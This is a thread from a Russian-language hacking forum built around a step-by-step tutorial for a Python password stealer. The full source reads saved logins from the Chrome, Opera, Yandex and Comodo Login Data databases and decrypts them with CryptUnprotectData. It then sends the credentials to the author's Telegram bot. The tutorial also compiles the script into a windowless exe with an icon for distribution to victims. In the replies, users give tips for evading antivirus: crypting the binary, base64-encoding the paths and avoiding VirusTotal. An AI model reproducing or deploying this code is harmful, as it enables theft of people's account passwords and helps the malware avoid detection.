Если компилить pyinstallerом тогда запуск бинарника будет зависеть от установленного visual c++
Ну или можно попробовать скомпилить через py2exe
VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.
Если компилить pyinstallerом тогда запуск бинарника будет зависеть от установленного visual c++
доброго времени суток!!!! тут назрел такой вопрос по поводу стиллеров воообще. а если человек использует браузер портативную версию и папка лежит х*й знает гдеПривет. Пришло время написать свой собственный стиллер на чудном языке Python. Оформление,заголовки и куски текста, я буду брать из своей прошлой статьи, ибо есть повторяющееся моменты, а делать рерайт на них, я не вижу смысла)Конкурс статей от VLMI
Словарик с терминами,которые я буду использовать, можно найти по ссылке - ТЫК
Комментарии будут отмечены решеточкой - #
Переходим на официальный сайт PythonА - ТЫК. Скачиваем 3+ версию и устанавливаем ее.Установка Python
Посмотреть вложение 11577 Посмотреть вложение 11578 Посмотреть вложение 11579
Программа проверит наличие папок от указанных браузеров, при наличии - подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)Суть работы стиллера
Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.Создадим своего бота
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.Код:/start /newbot
Код:https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке "chat":{"id":вашid #найти chatid в информации
Посмотреть вложение 11544
С ботом мы разобрались, идем дальше.
Сначала нам нужно установить библиотеки, которые будут использованы в нашей программеНачинаем кодить
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.
Код:pip install --upgrade pip
После обновления установим 2 нужные нам библиотеки,pyTelegramBotAPI pywin32 и telebot
______________________________________________________________________________________Код:pip install pyTelegramBotAPI pip install pywin32 pip install telebot
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.
_______________________________________________________________________________Код:from os import getlogin #из библиотеки os мы импортируем функцию getlogin #данная библиотека поможет нам получить имя пользователя компьютера import sqlite3 #импортируем библиотеку sqlite3 #данная библиотека даст возможность работать с базами данных import win32crypt #импортируем библиотеку win32crypt #эта библиотека поможет расшифровать пароли из базы данных import telebot #импортируем библиотеку telebot #с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.
Теперь нам нужно задать переменные, которые мы будет использовать.
_______________________________________________________________________________Код:t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken i=0 #переменная счетчик name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.
Дальше мы должны создать переменные,списки с директориями возможных браузеров.
Код:op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data" #переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера. g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров. lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir
Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium
При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\\), иначе будет выбивать ошибку,связанную с кодировкой.
_______________________________________________________________________________
Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.
Код:b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы #b0t - имя бота,которого мы создали в начале #send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:" объединенное с переменой name_0f_user for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4 try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i] connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль) for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall) d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt) b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров. b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str) b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке
Теперь я попытаюсь объяснить суть вышеописанного кода на "простом" примере)
Жертва запускает наш стиллер, программа пробует(try) пройтись по нулевому[i] элементу в списке и подключится к базе данных,если у нее это получается, то она собирает данные и отправляет в чат телеграм, если что-то не получается, то программа не крашится, а выполняет действие указанное(except) в случае ошибки. Дальше программа проходит второй круг(при втором круге счетчик i увеличивается на один), но уже по первому[i] элементу в списке и выполняет все как и раньше. Так будет происходить, пока работает цикл, а он работает от нуля[i] до длины списка с директориями.Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exeКомпилируем в exe
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументамиКод:pip install pyinstaller
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконкуПосле в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.Код:CD C:\compile pyinstaller -i i.ico -F -w stealer.py #В терминала переходим в папку C:\compile #вызываем pyintaller, где i.ico - иконка расположенная в папке compile;stealer.py - наш питоновский скрипт, расположенный в папке compile
Проверить на детекты, я не смог, ибо viruschekmate,ScanMyBin - сдохли,nodstribute+virustotal - сливают данные(не суйте туда стиллер)), поэтому информация про "чистоту" остается для вас и для меня интригой)
Исходники вы можете скачать по ссылке - ТЫКИсходник и заключение
Посмотреть вложение 11580 Так приходят логи, пароль находится между символом b' и '
Вот мы и написали наш простой стиллер, мы смогли уложится в 34 строчки кода. Надеюсь вам все было понятно, пытался писать как можно проще. Если будет интересно, могу объяснить как добавить фейк ошибку при запуске стиллера)
Если вам что-то не понравилось, или есть идеи по улучшению - прошу сообщить об этом :-)
P.S.
Словарик дополню новыми терминами
Вся информация написана в целях ознакомления, автор не несет ответственность за использование данного материала
не понял сутиЕнот разлогинься
Прописываешь возможные директории которые должны быть прочеканные, иначе никак,не понял сути
Здесь шансов почти нет,ибо пользователь портабельную версию может хранить в любой папке,на любом диске.доброго времени суток!!!! тут назрел такой вопрос по поводу стиллеров воообще. а если человек использует браузер портативную версию и папка лежит х*й знает где
куки то лежат в папке профайл если я не ошибаюсь. а сама памка может где угодно лежать. тогда вопрос как прописать чтоб стилер искал есть ли портативки браузера или нет так как многие даже не пользуются браузером по умалчанию и т.д а используют портативную версию и прячут папку. ЧТО СКАЖЕТЕ?
Можно же процессы опрашивать,а не по всему диску шаритьЗдесь шансов почти нет,ибо пользователь портабельную версию может хранить в любой папке,на любом диске.
И единственное, что мне приходит в голову, это поиск по всем дискам файла "Login Data"
Енот - это не я)Енот разлогинься
Закриптовать что? Там стаб который распаковывает это все и запускает скрипт - маленький.Если ещё закриптовать эти 7 метров,то логов по 1 сообщению можно до пенсии ждать.
Закриптовать чтобы Касперский не ругался,например.Закриптовать что? Там стаб который распаковывает это все и запускает скрипт - маленький.
Cами пути можно было-бы зашифровать с помощью base64. Это снизит детекты и усложнит разбор файла через hex редактор.Хочу ещё несколько замечаний сделать,в исходнике указаны прямые пути,это не есть хорошо,лучше использовать переменные среды
На примере хрома
def chromepath():
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
exit(0)
return PathName
Скомпиленный файл весит почти 7 метров,хотя там всего 34 строчки кода и импортированные библиотеки,для таких целей питон хреново подходит,ибо он интерпретатор тащит за собой из за этого и получается почти 7 метров. Если ещё закриптовать эти 7 метров,то логов по 1 сообщению можно до пенсии ждать.
Это только МОЛЛИ может через хексредактор разбирать ) А нормальные люди используют декомпилятор и получают исходники скрипта. Защита питоновских скриптов от реверса непростая задача и пока нет готовых решений для этого, нужно пилить свой велосипед. И поэтому енота так легко повязали )Cами пути можно было-бы зашифровать с помощью base64. Это снизит детекты и усложнит разбор файла через hex редактор.
нужно добавить пип в патч, загугли ошибку и тебе дадут подробную инструкцию как это сделать
from shutil import copyfile
copyfile(src, dst) // src - путь до Login Data; dst - путь до временной директории хранения файла (типо %temp%\\ld.temp)
Ты точно нагуглил что-то не то )
Проверь правильность написанного пути или сделай все еще раз по новой